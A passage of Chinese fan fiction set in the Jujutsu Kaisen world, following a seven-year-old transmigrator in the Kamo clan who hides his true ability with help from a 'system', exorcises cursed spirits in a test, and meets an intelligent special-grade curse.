“禅院家的那位,是牺牲了所有的咒术天赋交换了极其强悍的肉、体。因此属下推测千代君可能是牺牲了所有肉、体强化的能力,交换了咒术的攻击性和隐蔽性。”
“天与咒缚?”屏风后的人听到加茂健太的回答后,好像提起了一点兴趣,声音也有些微微放大,不再如之前一般难以听清。
“那既然如此,过量的体力训练对加茂千代而言反而没有太大的意义,日常训练保证他面对咒灵时可以跑动就可以了。”
“现如今安排的咒力训练内容想必对加茂千代用处不大。健太,你先从咒灵室拿几个咒灵给他试试手,测一测咒力量。”
“没有问题就让他为加茂家接取咒灵祓除的任务。虽然他年纪还小,但毕竟是加茂家未来的家主。总归,是要以加茂家的利益为先。”
屏风后,这位加茂家主以一种慢悠悠的语气说了许多。
“是,大人。属下告退。”
加茂健太面向屏风鞠了一躬后,起身便准备离开。刚刚走至门前时又听到屏风后的人悠悠传来声音,
“你倒是对他很是尊敬啊,健太。一口一个千代君的。”
听清对方说什么后,加茂健太拉开拉门的手一顿。他浑身僵硬的转回去,冲屏风深深鞠了一躬,说道:“属下不敢,属下永远以加茂家的利益为先!”
声音的主人没有理会加茂健太表明衷心的言论,又问道,
“关于加茂千代是天与咒缚的事情,还有谁了解?”
“除了属下,就只有医疗室的川崎美奈知道。”
说完后,加茂健太过了好久都没有再听到新的问题,这才敢重新拉开门走了出去。
在他走后,安静的屋内响起了啪嗒一声,随即是刺耳的摩擦声。
屏风后的加茂家主将手中茶杯放下,起身走到身后死死拉上的窗帘前,口中轻轻说道,
“又是一个活着长大的天与咒缚。”
黑暗中男人或者说青年的面容并不是很清晰。但能看清的是,一道狰狞的缝合线正深深的刻在他额头。
与加茂荣头上的的如出一辙。
“阿,阿嚏!”
医疗室中的藤原千代却突然打了个喷嚏,浑身上下升起了一片恶寒。
刚刚系统无起伏的机械音响起后,他就感觉到自己浑身上下被看不见的存在扫描了一遍,这让他起了一身的鸡皮疙瘩。
忍不住炸毛质问,“你们平常也会有这种权限吗?身体扫描之类的?”
【不会】
【根据系统准则,宿主的隐私权限只有得到宿主的允许情况下才能得知。日常只会监控宿主生命起伏。避免宿主因突然死亡,导致系统来不及救援】
藤原千代听到系统的回答后,稍稍放下心来。系统这种身体扫描的感觉很怪,就好像是浑身上下被人摸了一遍,从内而外。
怪恶心的。
过了一会,这种恶寒的窥探感终于散去,藤原千代也得到了自己想要的回答。
【系统检测完毕,检测结果表明宿主身上并无问题】
“那我为什么用不了咒力!”藤原千代再次发出疑问。
他觉着自己一下午提出的问题,可能比这辈子说的都多。
虽然他根本没有之前的记忆。
【咒术能力是镌刻在咒术师灵魂上的,而异能力则是依靠肉、体表现出来。因此,即便宿主现如今的身体为咒术师身体,但依旧无法主动使用咒力】
【鉴于宿主所在环境为咒术界御三家之一的加茂家。为方便宿主伪装,系统会在宿主使用异能力后,帮忙留下咒力遗秽,这也就是……】
还没等它说完,系统就发出了警报。
【检测到有人员靠近,系统已自行进入休眠状态】
听到刚刚系统的回答,藤原千代意识到系统留给自己的是一个没有办法使用咒力的咒术师身体,自己被它算计了一手。
如今身处咒术界的藤原千代完全无法脱离系统,必须依赖它帮助自己留下咒术遗秽,以免被人发现自己根本不是赤血操术,甚至都不是咒术师。
从恢复意识后就被困在加茂家的藤原千代,完
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全不了解两个力量体系之间是否存在龃龉。
当然他也不敢赌。万一二者是什么敌对关系,至死方休的,那他岂不是要直接gg!
虽然可以通过脱离加茂家,远离咒术界的方式来摆脱系统的制约。但在没有人帮助的情况下,对于年仅七岁的他来说,想要计划成功简直是痴心妄想。
更何况,在不动用系统商城的情况下,他的存活率只有31%,完全就是出去送死。
即便藤原千代不是主动复活,但好不容易重来一次,他也不想那么快就结束生命。
思索之间,他听到了门外逐渐靠近的脚步声。整理了一下自己脸上的表情,收敛了心思,免得被来人发现问题。
是川崎小姐,她独自一人回来了。
藤原千代没有在她背后看到加茂荣,想必是早已离开。
川崎小姐走到了藤原千代窗前,检查了一下藤原千代的状态,发现他原本虚脱的症状已经有些缓解后,便将藤原千代手上快打完的生理盐水取了下来。
藤原千代发现加茂家的人,都是沉默而死寂的,甚至包括她这个不姓加茂的医师。
估计因为不常说话,她甚至连嗓音都有些暗哑。
在整个检查和拔针的过程中,他们除了关于晕眩和恶心的症状是否有好转的问答以外,就再也没有什么多余的交流。
“已经没什么大问题了,不过千代君需要在这里等一等加茂健太,他会带你回去,妾身就先行离开了。”
语毕,川崎小姐就转身离开了,没有一点的迟疑。
很快加茂健太就来到了医疗室,藤原千代发现他看自己的神情有些复杂,像是在看地里长势不是很健康的小白菜。不禁感觉到有些疑惑。
是加茂家的家主吩咐了他了什么,还是他自己又想出了什么乱七八糟的,怎么会流露出如此奇怪的神情?
事实也的确未出其二。
“千代君千代君,叫的太亲切了”
在加茂建太走出屋后,他满脑子都是家主对自己的嘱咐。
自己身为家主近臣,如果与拥有祖传术式的少主关系亲密,肯定会惹家主不快啊。自己实在是太松懈了!
思及此,加茂健太的脑子里已经脑补出了一出子夺父位,父子相残,君要臣死臣不得不死的的权谋大戏。
到医疗室的路上,他也一直在思索自己身为家主近臣,又是少主老师,如何才能在这二人争权夺位之间明哲保身。
但等到加茂健太看到躺在床上的藤原千代后,才恍觉他现不过是一个七岁小孩,他刚刚脑中思索的问题有点过于超前了。
于是整理了一下自己的心情说道,
“少主,您身体不适,今天的训练任务就到这里了。属下先将您送回院子。您今天好好休息。从明天开始,我们将要进行咒灵的祓除训练。”
藤原千代听到他的称呼心里一愣,果然,在自己晕过去后加茂健太肯定是又脑补了什么!
他咬了咬牙,好你个加茂健太,看着浓眉大眼的,怎么还是位脑补帝!
希望那位未曾谋面的加茂家主是个正常人,不要加茂健太说什么都信!
5. 第 5 章
“少主可了解天与咒缚?”
在二人从医疗室走回小屋的的路上,加茂健太抛给了藤原千代一个问题。
藤原千代摇了摇头,说道:“天与咒缚,没听说过,那是什么?”
藤原千代当然不知道,毕竟他根本不是此方世界的人,甚至还是一位失忆人员。
好在加茂健太也只是随口一问,没有强迫藤原千代说出什么四五六来。
在听到他不知道后,加茂健太主动解释道:“咒术师的一生都在定下束缚,或与他人,或与自己。”
“而天与咒缚是最难的达成的一种,因为需要与上天定下束缚,从出生起就被迫失去了什么,以交换另一种特质的完全体。他们这群人有的可以说是受到了上天的眷顾,而有的则是完全被天厌弃。”
“禅院家就有一个这样的少年。他从出生起,浑身上下就没有一点咒力。要知道除了那些聚集在横滨的异能力者以外,就算是普通人,也都只是咒力外泄无法储存而已,终归还是有一点咒力的。”
“但与他贫瘠的咒力天赋相对应的是,在他六岁后就完全表现出来的极其强悍的肉、体和体术天赋,简直是天生的战士。”
“如果在别的地方,他或许是天才。但在咒术界,这样的人,彻彻底底就是一个废物。咒灵只能用咒力祓除,即便□□再强悍,没有咒力依旧没用。特殊一点的四级咒灵都能将他活活拖死。”
加茂健太语气越来越不屑,无意间的低头看到了藤原千代,神情又变得狂热了起来。
“少主您则与他完全相反,用无法的增强□□强度换来了极强的咒术攻击性和隐蔽性。这样的天赋,等您成长起来,完全可以成为到传说中的特级咒术师!”
“到时候御三家将以我们加茂家为首!如今只有我们加茂拥有祖传术式,您又是此等这般的天与咒缚,天佑我加茂!”
说到兴致高昂处,加茂健太甚至抬手拍了拍藤原千代的肩膀,看到给他拍的一个踉跄,加茂健太才冷静了下来。
他意识到那个在自己心里已经拳打五条,脚踢禅院的加茂少主今年才刚刚七岁。还是个身型单薄的孩子。就在今天还因为超负荷的训练而晕了过去。
加茂健太不禁有些羞赧,自己之前训练的都是十二三的半大小子,这个年纪的孩子,少主还是头一个。自己可别把这位惊世奇才给养死了。
果然还是把小岛葵调回来吧,毕竟她是跟着少主从藤原家过来的,想必对照顾少主有十足的经验。
而藤原千代一路上被加茂健太莫名其妙燃起来的语句搞得脚趾扣地,现在又莫名被他拍了一个踉跄,满脑子都只有一个想法。
==
整个加茂家都有病吧!不是哑巴就是疯子。
他的视线向上看去,发现加茂健太不知道想到了什么,刚刚燃起来的神情此刻又有些沮丧。他忍不住翻了一个白眼。
服了,加茂健太这老小子最颠!
从医疗室到藤原千代小屋的路途不算很远,但一路上加茂健太都用着癫狂的语气翻来覆去的说着振兴加茂的话语,听得他眼睛都直了。
藤原千代嘴上回应着嗯嗯啊啊,实际上恨不得长出翅膀飞回去。
好不容易熬到了门口,藤原千代三步跨两步,乳燕投林一般,迫不及待的奔入院中。
但加茂健太眼疾手快地把住了他即将关上的大门,继续说道,
“您今天祓除的虽然只有准三级,但您根本没有动用赤血操术!想来完全没有达到您的上限,明天我带您去咒灵室,选几个咒灵来试着祓除,测试一下您的上限。今晚您今天好好休息,调整一下状态!”
说完这句话后,加茂健太把着大门的手终于松了下来,往后退了一步,准备离开。
藤原千代见他要走,立即顾不得什么礼仪不礼仪,急忙将门甩上。
生怕再慢一秒,加茂健太再次复燃,趴在他耳边继续絮絮叨叨说他的振兴大计。
他还不想晚上做梦,一掀被子都是加茂健太搁那里振兴加茂!天佑加茂!
把门关上后,藤原千代俯身将耳朵贴在门上,听着加茂健太的脚步声,直至听不到后,才敢松了口气。
然后他也不嫌弃埋汰,直接瘫坐在了地上。
明明之前上课的时候还像是一个正常人,怎么去见了加茂家主以后却像变成了一个狂信徒一样。藤原千代对此微微上了点心,将购买防止精神污染的道具提上了日程。无论是谁有问题,这都算是一种精神污染了吧!
夜晚
藤原千代清楚地知道自己此刻在做梦。
他的面前摆了一面巨大的镜子。但镜中显现着的却不是自己现在这副七岁孩童的身影。
镜中人身量颀长,有些瘦削。浑身上下没有什么锻炼痕迹。大约十八九岁,黑发黑眸,唇色浅淡,整张脸没有什么血色。
但偏偏他虹膜颜色极深,黑沉沉的好似一潭幽井,又略微泛着些暗红。
就这么定定地透过镜子注视着藤原千代,阴沉沉的莫名透出一股鬼气。
原来这就是他上辈子的长相,丧眉搭眼的一股早衰相,看着就不讨喜。
青年蹲下身体,将自己的手掌向前伸出,指节修长白皙。将手轻轻搭在镜面上,微抬着眼看向面前的七岁孩子。好似下一秒就要从镜中出来。
在青年动作之间,他的额发像两边散开,藤原千代这才看到他微垂的眉尾中还夹杂着一颗小小的红痣,那几乎算是整张脸上唯一的色彩。
藤原千代将自己的手指伸出,一大一小的两只手透过镜面重叠。
紧接着,一股强大的吸引力向自己袭来,他感觉到自己被裹挟着卷了进去。
再次苏醒,藤原千代发现自己的视角并没改变,依旧是矮矮的。
也就是说他现在还是一个小孩,唯一不同的是藤原千代此刻并没有身体的控制权。
他浑身动弹不得,像是被人装进了一个套子里。只能第一视角体验自己的喜怒哀
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乐。
藤原千代发现自己身处在一个昏暗的屋内,抱着腿蜷缩着成一团。以他现如今的视角来看,只能看到身下的水泥地。
不确定这里是什么季节,但根据身上传来的衣物触感来说,已经有深秋了。
小藤原就这么孤零零的坐在地上,过了好长时间。
所处的环境很安静,只有滴答滴答的水滴声,藤原千代耐心听了一阵,发现好像是计时用的。
他并没有感受到周围有风在流动,所以更像是身处室内。
水滴计时,水泥地,蜷缩的孩子,密闭的无人小屋。
比起房间,这里更像是禁闭室。再糟糕点,可能是被绑架了。
不知过了多久,藤原千代感觉到自己的腿都要麻了的时候,听到了吱呀一声。
门开了。
小藤原抬头看了过去,一个穿着白色长袍,留着锅盖头的男人逆着光走了进来。
“如果不能控制好你自己,就从孤儿院里滚出去,这里不留没用的废物”
男人冷漠的声音居高临下的传来,不近人情。
“我明白了,院长。”
藤原千代听到声音从自己的嘴中说出。脆生生的,尾音较长,带着孩子独有的含糊韵律。
他没有从这声音里感受到任何的怨恨,委屈和不满,只有满满的慕孺。
是了,藤原千代小时候对别人的善意和恶意很敏锐。
即便眼前的男人口中说着冷酷伤人的话,神情也很高傲。
但他或者是说小藤原能感受到,再听到孩子的回答后,男人更多的透露出了一股无措。
就好像新捡到了一只从来没见过的动物,害怕给自己带来危险,又害怕养不活他。
纠结着纠结着,纠结出一副扭曲的模样。
他知道我是异能力者了,藤原千代心想,他想教好我。
虽然男人的方法总是透露出一些偏激。但还好小时候的我对情感很敏锐。
因此,即便在禁闭室中枯坐了很长时间,藤原千代依旧认为,
这是一个美梦。
清晨。
藤原千代被爬到脸上的阳光晒醒,恢复意识后的第一时间就冲到了洗漱间。
他照了很久的镜子,比对着自己现在的面容和曾经的那个十八九岁的自己的区别。
果然,他没有记错,自己现如今的眉尾也有那颗红痣。
或者换句话来说,那副面容就是现在的自己长大以后的样子。很有可能现在这具身体就是自己原本的身体。
系统还是有事瞒着自己,藤原千代意识到。
他在脑中呼唤了一声系统,但和昨天不同。熟悉的机械音并没有响起,它没有应答。
正当藤原千代感到疑惑的时候,就听到了有人在叫自己。
是加茂健太来了。
是了,系统好像不愿意在人前出现,现在它应该在休眠。
只能等今天的训练结束,再来问了。
6. 第 6 章
藤原千代听到加茂健太敲门问好后,深深地吐出了一口气,走到门前,再次整理了一下表情。当然,其实就是恢复到面无表情,拽开了门。准备迎接今日份的洗脑。
加茂健太依靠在墙边,还是穿着昨天的那件黑纹付羽织袴。
藤原千代看到他的脸上并没有什么表情,微微放下心来。昨天的情景想必暂时不会出现了。
他真的不想再体会那种,恨不得把脑子和耳朵都摘下来,然后扔进自己脚趾刚刚扣出来的三室一厅里,再往里泼三吨水疯狂洗涮,最后全部丢掉的感觉了。
加茂健太也没有太在意这位少主大人的冷脸,毕竟小孩子有起床气不愿意上学是很正常的,就算是他也不愿意工作。
昨天送完藤原千代以后,加茂健太就前往咒灵室,兴致昂扬的为今天的课程挑选合适的咒灵。
完整的捕捉咒灵要比直接祓除难得多。所以即便是御三家之一的加茂家,咒灵室里的大多都是在三、四级徘徊的咒灵。
当然,偶尔拘咒队的人运气好点,倒是可以捉到几个二级咒灵。但总体数量依旧很有限。
不过,虽然咒灵室内的咒灵等级普遍不高,但是如果能从中挑选出一些术式特殊的咒灵,倒也不是不能用来给藤原千代简单测试一下,看看他目前祓除咒灵的能力究竟停留在第几级。
加茂健太在里面挑选了很久,倒还真让他看到了几个术式有意思的咒灵。考虑到藤原千代的年纪,他只从中选了两个三级,一个二级出来。准备明天让藤原千代祓除试试。
至于咒灵的长相,虽说崎岖了点,倒也并不是很重要。咒灵吗,反正都是要祓除的,具体长成什么样,谁在乎呢?
纵观加茂健太的一天,上午接到家主布置的任务,要去给未来少主上课。下午就不小心把未来少主累晕,紧急送到了医疗室。傍晚在被家主恐吓后又送少主回家。晚上还要来咒灵室挑选咒灵。
真真是忙碌了整整一天,没有功劳,全是苦劳。加茂健太不禁感慨,怪不得自己早晨醒来的时候感觉十分疲惫,真是辛苦自己了。
原本昨天傍晚他还有些迫不及待地接藤原千代去咒灵室测能力,现在也有些倦怠了。
但即便如此,他还是洗漱整齐地来到了藤原千代的门前,敲了敲门。等待藤原千代出来。
在看到死气沉沉从屋中出来的藤原千代后,加茂健太的内心反而涌出了一种同病相怜的感觉,说话的语气也不由得亲切了许多,想要借此来缓解少主的厌学情绪。
但其实他根本没有意识到,藤原千代看到自己这幅神情后,只会感觉更加心累。
求你了,能别乱想了吗,真的很烦。
“少主,您准备好了以后就请和属下一同前往咒灵室进行测验。”加茂健太调整了一下萎靡的状态,从墙边站直了身体。
“我已经准备好了。”藤原千代语气无起伏地说道。当然,虽然话语相同,但语气却和某块热爱生活的黄色海绵有着极大区别。
听到藤原千代肯定的回答后,加茂健太抬脚向前走去。微微先于藤原千代几步来领路。
二人一同前往咒灵室。一路上,藤原千代根本不敢和说话。
他全程都在给自己做心理建设,思考自己如何放平心态面对咒灵,以及如何放平心态应对可能会死灰复燃的加茂健太。
现如今他现在被困于加茂家,完全没有办法接触到外面,系统所说的救济任务连触发条件都达不到,更何况完成不。以至于到现在他的救济积分都是负数,甚至还要持续很长一段时间。
而积分为负的情况下,他根本没办法打开系统商城,更别提什么兑换商城里里防止精神污染的道具和看不到咒灵的眼镜了。
再忍忍!
虽说到咒灵室的路程很远,留给藤原千代做心理建设的时间也很长。但是等到他看到加茂健太身后那个流淌着黄色黏液的不规则物体时,他发现自己的心里建设根本就是建设少了,咒灵的长相和加茂健太的挑选条件的根本不在意颜控的死活!
而加茂健太丝毫没有感觉到藤原千代的抵触情绪,从低到高认真开始讲解了起来。
最开始拿出来的一个拥有卡姿兰大眼睛的咒灵,一眨一眨的妩媚动人。但如果不是浑身上下都长满了这么美貌的眼睛,视觉效果可能会更好。
“这只咒灵的术式和咒力量在三级咒灵中都不是很出挑,算是平平无奇,作为咱们这次课程的开胃菜刚刚好。少主您先试着祓除。”
说着加茂健太就将装有咒灵的笼子拎了起来,撕开了笼子上的符篆,示意藤原千代攻击。
“看看,看看,给我看看”从进入咒灵室开始,咒灵刺耳扭曲的声音就一直萦绕在耳测。
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没有符篆的笼子丧失了继续关押咒灵的能力。藤原千代只能无力地看着那一堆美目的集合体向自己移动过来,整个人已经掉色成为了灰白色。
但很快。一道冷静的声音响起。
“百敛,穿血”
一道血柱从藤原千代合十的指尖发出,瞬间射穿了面前爬来的异形。顿时咒灵紫色的血液喷溅而出,在四周留下了浓墨重彩的一笔。
伴随着咒灵痛苦的哀嚎,所有的痕迹又顷刻消散在空气中。
藤原千代看到此,意识到咒灵死后所有的残留物都会消失。所以此刻,那些血液还是干净的。
趁着加茂健太没注意,他将刚刚使用的鲜血召回,团聚在手中,以便下一次的使用。
能省点是点吧,藤原千代如是想到。七岁孩子就能有那么点血,用着用着把生命恢复剂也发射出去就尴尬了。
意料之中,加茂健太看到藤原千代轻而易举的祓除了这个三级咒灵后,没有停留的提起了关押着那个流着黄色黏液的咒灵的笼子。
心情不错地说道,
“虽然这只咒灵等级被划分为三级,但那是根据其他术式的特征来说的。赤血操术通过用咒力凝聚操控者的血液进行攻击。再遇到其他液体时,由于血液的稀释会导致操控者无法准确感知自身血液,导致攻击失败。”
“而这个咒灵呈果胶状,时时刻刻地流淌着具有腐蚀性的液体,赤血操术的攻击血柱落在他身上,会遭受到稀释。因此即便这个咒灵只有三级,但是从术式能力上来看,它对赤血操术的危险性甚至超过寻常的二级咒灵。”
说完,加茂健太就撕开了贴在这个笼子上的符篆,浑身肌肉紧绷,做好了随时祓除这个咒灵的准备,以防止藤原千代受伤。
藤原千代听到加茂健太的讲解以后,意识到了这个咒灵的特殊性。思索了一下,将刚刚手中凝聚出来的赤红色血球打出。
他将那团血球以极快的速度发射而出。并精准控制它们在接触到咒灵的黏液时一层层散开,顺从重力滴落在地上。
表面的血液滴落后,内层剩余的血液依旧穿透了咒灵,成功祓除。
看到此,加茂健太浑身紧绷的肌肉松懈了下来,脸上也浮现出了明显的喜悦,张了张嘴想要说出什么。
藤原千代看到他的表现后心口一跳。心道,
完了。
7. 第 7 章
藤原千代看到加茂健太再次兴奋起来的神情,心想,完了。刚刚咒灵杀得太快,忘记身边这位属白磷的人了。
但出乎他意料的是,加茂健太并没有多说什么,而是抬手指了指旁边的最后一个笼子。
笼子很高,用黑布蒙着,乍一眼望过去,以为是房屋的墙面。
是以藤原千代进入房间后没有第一时间注意到这个巨大的笼子。
他当时全部的注意力都放在了那个滴落黄色胶黏液体的团状物上。
现在注意到这里后,藤原千代才发现这个笼子真的很安静。安静到好像里面根本没有关押什么咒灵,只是一个空笼子,与刚刚狂喊乱叫的咒灵形成了鲜明的对比。
正思索着,加茂健太的声音在藤原千代耳畔响起。
“这是测试的最后一个咒灵,它虽然术式普通,杀伤力很差。但却是咒灵室的那些二级咒灵中咒力量最多,防御性最强的,甚至可以堪堪摸到准一级的边。”
“作为天与咒缚,少主您的攻击性和防御力完全是两极分化。因此,在看到咒灵的一瞬间,您就需要立刻祓除,否则极有可能遇到生命危险。”
“这种强防御性的咒灵对您的危险性也很高。但如果少主您现在就可以做到祓除这个二级咒灵的话,就说明您现在已然拥有了比肩二级咒术师的能力。”
“要知道,东京都立咒术高专和京都府立咒术高专的毕业生,毕业条件是达到二级咒术师的水准。您现在刚刚七岁,祓除后这个咒灵后就可以通过加茂家的运作直接申请为特二级咒术师。何等荣耀啊!”
说着,加茂健太掀开了笼子上蒙着的黑布,漏出了里面的咒灵。
庞大的灰白色咒灵蹲坐在笼子里。它有着一身皲裂的皮肤,像是由干涸开裂的岩块强行组合而成,仿佛下一秒就会分崩离析。
但如果仔细看过去,就会发现随着这个咒灵的一呼一吸之间,它皮肤皲裂的间隙中有红光闪过,好像是有岩浆在里面流淌。
光是离远看着,藤原千代就感觉到了扑面而来的热气,熏得他有些喘不上气。
想必刚刚那块兜着笼子的黑布,也是一个特殊的封印道具。
灰白色的咒灵透过栅栏的间隙,注视着藤原千代,带来了极强的压迫感,让他误以为自己好像在被一座活火山凝视着。
他和咒灵对视,恍惚之间好像感觉它的眼神中蕴含着类人的情绪,智商不低的样子。
藤原千代心情沉重地暗自思索,怪不得系统说这是一个极危的世界,如此具有压迫感的咒灵竟然才被评为二级。
他都不敢想一级和特级的咒灵又该是何等可怖,想必以现在他的实力来看,碰到就是非死即残。
“这一只咒灵是拘咒队从东京附近的山里抓来的,攻击力不强,但是防御性极高,整个小队用尽浑身解数也只能将他控制了起来,送回了加茂家准备进行祓除的工作。被家主看到后拦了下来,用作咒灵室做教具。”
“接下来,我会将他放出来,我会时刻关注您与咒灵的对峙状态。当然,少主您自己也需要多加小心,以免出现意外。”
说完,加茂健太浑身的肌肉绷紧,手中侧握了一把薙刀,浑身的术式也蓄势待发。
紧接着,他一刀挑开了笼子上的封印符篆,并迅速退至一旁,期待着这次藤原千代能否给自己带来的惊喜。
与前两个咒灵直接爬出来攻击藤原千代不同,这只庞然大物并没有主动攻击的欲望,即便符篆被撕掉,笼子被打开,它只是简单的蹲坐在那里,目不转睛地注视着藤原千代。
藤原千代被它看得浑身冷汗直冒。
不对劲,十分不对劲。
这种和脚下大地对峙的感觉,和刚刚那两只咒灵带来的压迫感根本不是一个量级的。
如果刚刚的还算是面对因人的情绪而诞生的咒灵,那现在的更像是面对因自然和天灾而诞生的咒灵,让人不由自主地升起一些放弃抵抗的念头。
藤原千代即便刚刚瞬间便被压迫感惊出一身冷汗,但依旧在找机会如何祓除这个灰白色咒灵。
按照加茂健太所说,二级咒灵是比较常见的。那如果想要在咒术界存活他必须迅速适应这种强度的咒灵。
但现如今他伪装成赤血操术,想要攻击就需要放血。如果这样的话,等到祓除了这个咒灵,他浑身血液也会被抽干的。
人类的身躯根本承担不住这种高强度的抽血。他必须要在伪装成赤血操术攻击的同时,调用水调之契。并不能让加茂健太察觉到丝毫。
加茂健太他真的没驴我吗?他真的完全感受不到或者完全不在意这种压迫感吗?
难道整个咒术界对这种强度的压迫感是习以为常的吗?这是七岁孩子能打败的东西吗,疯子的吧!
这就是咒术师吗?需要抱着必死的决心祓除每一个咒灵。
正在藤原千代试探着如何进行攻击的时候,他听到了一道沧桑而低沉的声音。
听到这个声音的一瞬间,藤原千代感到心脏好像被人在拿砂纸细细打磨,莫名惹人不适。
是那个咒灵在说话。
“你很强,比我目前见过的人类都要强,但你应该还是个幼崽,还没有完全成长起来,就要被派来祓除我吗?”
听到咒灵说话的二人都是一惊。
但是藤原千代毕竟不了解咒术界的详情,因此他震惊后只是恍觉原来这个二级咒灵的智慧真的很高,自己最初的那种感觉没有出错。
而熟悉咒术界的加茂健太猛地瞳孔一缩,瞬间警觉。强烈的危机感迸发而出,脑后好像有针在扎。
他比藤原千代更加了解咒灵这种生物。深知虽然咒灵会发声,但即便是最强的二级咒灵也只能说吐露出自己最扭曲最强烈的欲望。完全不可能像这个咒灵一样,如此清晰而又有有逻辑性的说话。
刚刚的话极有可能是这只咒灵独立思考后说出的。
拥有智慧的咒灵,很有可能是一级甚至是传说中的特级。所以拘咒队的人究竟是怎么抓回来的!
而自己竟然也被它蒙骗过去了,认为这只是一只普通的二级咒灵,现如今甚至解开了封印,带给藤原千代做祓除测试。
虽然思绪翻飞,但在生命受到威胁的情况下,加茂健太作为一级咒术师的战斗意识顷刻之间便被触发。
电光火石之间他已闪身突刺到咒灵蹲坐的笼前,一把提起前方的藤原千代,将他甩出战斗范围。
随即他将薙刀侧背在身后,腾空而起。手臂挥
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舞的同时将腰身一拧,行云流水之间将刀光在空中形成出一个整圆。借用自身重力和突刺产生的冲击力兜头劈向身前的咒灵。
咒灵紫色血液喷溅而出,紧接着是一阵令人牙酸的噼里啪啦的声音,响彻在室内,咒灵连带着关押它的铁笼都被劈砍成两半,倒了一地。
顿时烟尘四起。
加茂健太却并没有松懈,他没有成功祓除。
果然,下一刻烟尘散去,高大的灰色咒灵将身体组合,即便有一道巨大的刀口斜跨在身上,仍然未曾阻止他站起。
“很干脆利落的一击。这个分身经受不起下一次攻击了,但即便这样想要祓除我,你一个人还是不够的。”
沧桑的声音再次在屋内响起。但即便受到加茂健太了攻击,它也并没有做出反击的动作。
这下,加茂健太明白为什么拘咒队的人可以将他带回加茂家了。攻击性差,因为人家的分身根本就没有反击是吧!
“我的刃雷咒法,是将自身咒力附着在刀刃上,挥砍后,进行咒力共鸣,在伤口内产生雷电,直接麻痹和撕裂咒灵。”加茂健太此刻进行了术式公开,一时间浑身的咒力疯长。
藤原千代看到加茂健太提刀挡在自己和咒灵中间,瞬间了悟这个咒灵恐怕在二级之上。
听到他此时不合时宜的说出自己的攻击后整个人气势猛的拔高,意识到又是什么咒术秘闻。
同时藤原千代并没有错过加茂健太的术式内容。心思暗动,觉着自己可以偷摸搞点什么小动作。他闭上眼睛,响应围绕在自己周围,兴奋雀跃的力量。
因此,他察觉到对面的咒灵将自身血液全部避开了那道切割伤,再加上它这不太像可以导电的皮肤。恐怕即便是加茂健太引起雷电,带来的攻击性也不会很强。
藤原千代微勾起唇角,伤害这么小,那怎么行?暗自嘱咐系统这次不要帮助他留下咒力遗秽后,在加茂健太将薙刀插至地下,触发共鸣的时候,藤原千代调动异能力,将面前咒灵的血液均匀的循环在他体内。
“血液怎么能不在体内流动循环呢?”藤原千代悄咪咪地使坏。
“果然没有感知错误,小子。你很强,就是太阴了。等你长大,我们打过。”庞大的咒灵分身在被祓除前,留下了一句指向不明的话语。
加茂健太虽然摸不到头脑,但深觉现如今的自己应该是不会被用长大这个词语,所以说的应该是,藤原千代?
加茂健太转过头看了看藤原千代,心想:少主是挺强的,就是确实长得有点阴沉沉的,像个鬼娃娃。
这个咒灵,虽然爱说大话。但是眼光还不错嘛!
而藤原千代在听到咒灵这种留下战书的行径后不禁感慨,明明智商不低,但怎么一天天的就知道打打杀杀啊!
虽然这个咒灵的分身已经被祓除,但事情远远没有结束。
加茂家疑似出现了一个拥有智慧的特级咒灵,并派自家七岁的祖传术式祓除的事情不胫而走,惹足了一阵热闹。
但热闹归热闹,在现在大部分咒灵最高只到二级,甚至有的咒术师究其一生也只能见到一只一级咒灵的情况下,竟然出现了一只准特级。
一部分有远见的人已经意识到咒术界,要出大事了。
8. 第 8 章
即便咒灵最危险的是特级,但在现如今的咒界中,一级咒灵就已经是极其罕见的了。特级咒灵更是只在御三家的古籍记载中出现过。
但距离上一次出现在人前,也有二百年的时间了。
因此在五条家主得知加茂家咒灵室中出现了疑似特级的咒灵后,立刻返回五条家老宅中查阅记录。
果然,他记得没错。在上次六眼的诞生前也有过反常的咒灵能力增强的现象。
或许可以说正是因为咒灵能力大幅度增强,才导致了六眼出现。
至于因为天元布下的结界,让咒灵和咒术师的两相平衡制约。最初究竟是哪一方先增强,导致另一方随之而增强也早已无从探究。
五条家主悄悄地派遣医师来为五条宅中的所有女性挨个诊脉,看看现如今怀孕的究竟有几人。
没错,即便在医疗技术有所进步的当下,他们采用的依旧是如此朴实无华的诊断方法。
结果也很就快出来了,整个五条宅中,现如今怀孕的仅有一人。
五条千美惠,五条家主的夫人
“确定只有惠子怀孕了吗?”
“是的家主。整个五条家都已经确定过了没有人再怀孕,除了惠子夫人。”
听到再次确定的调查结果后,五条家主内心复杂,但是他也只是吩咐道,
“派驻扎在禅院家的暗桩去查一下他们的怀孕记录,记住千万要保密。”
待人走后,五条家主在屋内来回踱步,“惠子,惠子,我可爱的惠子,你将为我,为五条家诞下六眼,你将会是我们的功臣。”
“但为什么是你呢,惠子。”他的表情隐藏在阴影之中,嘴角似乎是上扬,却又抑制不住地抽动。
紧接着是一阵放声大笑,却又似哭非笑。
笑声持续了很长时间。
平静了了一会后,五条家主整理了一下神情,派人将五条千美惠带去别院,并隐去了她曾在五条家的一切踪迹。
惠子已经怀孕六个月了,在他最初得知这个消息时也曾满怀期待的盼过这个孩子。
他和惠子年少夫妻,虽然最初的爱与欲稍稍冷却,但二人感情依旧浓厚。甚至还共同讨论过孩子生下来后如果没有觉醒术式该怎么办。
那时他并不在意,想他身为五条家主,一个无术式的孩子养了就养了。但嘴上还是逗了逗惠子,惹得她笑着冲自己轻锤了几拳。
但现在两人的孩子,可能是五条家期盼了将近五百年的六眼,不能再属于他们,而是属于五条家。
惠子也要离自己而去了。
为了五条家,自己关于家庭的美梦就这样算了吧。
“扯什么淡呢?疯了吧!”
视角一转,加茂健太一拳锤在桌子上怒吼道,
“五条和禅院都是一群疯子,什么叫少主被特级咒灵盯上了活不久,明明是少主的潜力强到即便是特级咒灵也要在意,预定了在长大后就要进行一场酣畅淋漓的战斗。”
“七岁的二级术士他们见过吗!一群没见过市面的乡下土鳖,他们懂个屁的赤血操术!半截身子都快入土的老爷爷们还是不要再指导战斗了!”
正在加茂健太撕扯着嗓子说的脸红脖子粗的时候,坐在主位的加茂家主咳了咳示意他收敛点,没看到其他位置的老头们脸都绿了吗。
“越说越过分了,健太。”加茂家主制止了加茂健太让他不要再继续说下去。
这小子抛开脑子不谈,术式能力还是数一数二的,毕竟现如今能拥有一级咒术师实力的人还是很少见的。
没看到剩余人即便脸都绿了也没有反驳他吗。
但是脑子吗,算了…听话就行,洗洗也能用。
哎,地里的韭菜真是一茬不如一茬啊。不过他转念想到了加茂千代,心情又有所缓和。
很快了,再等等。
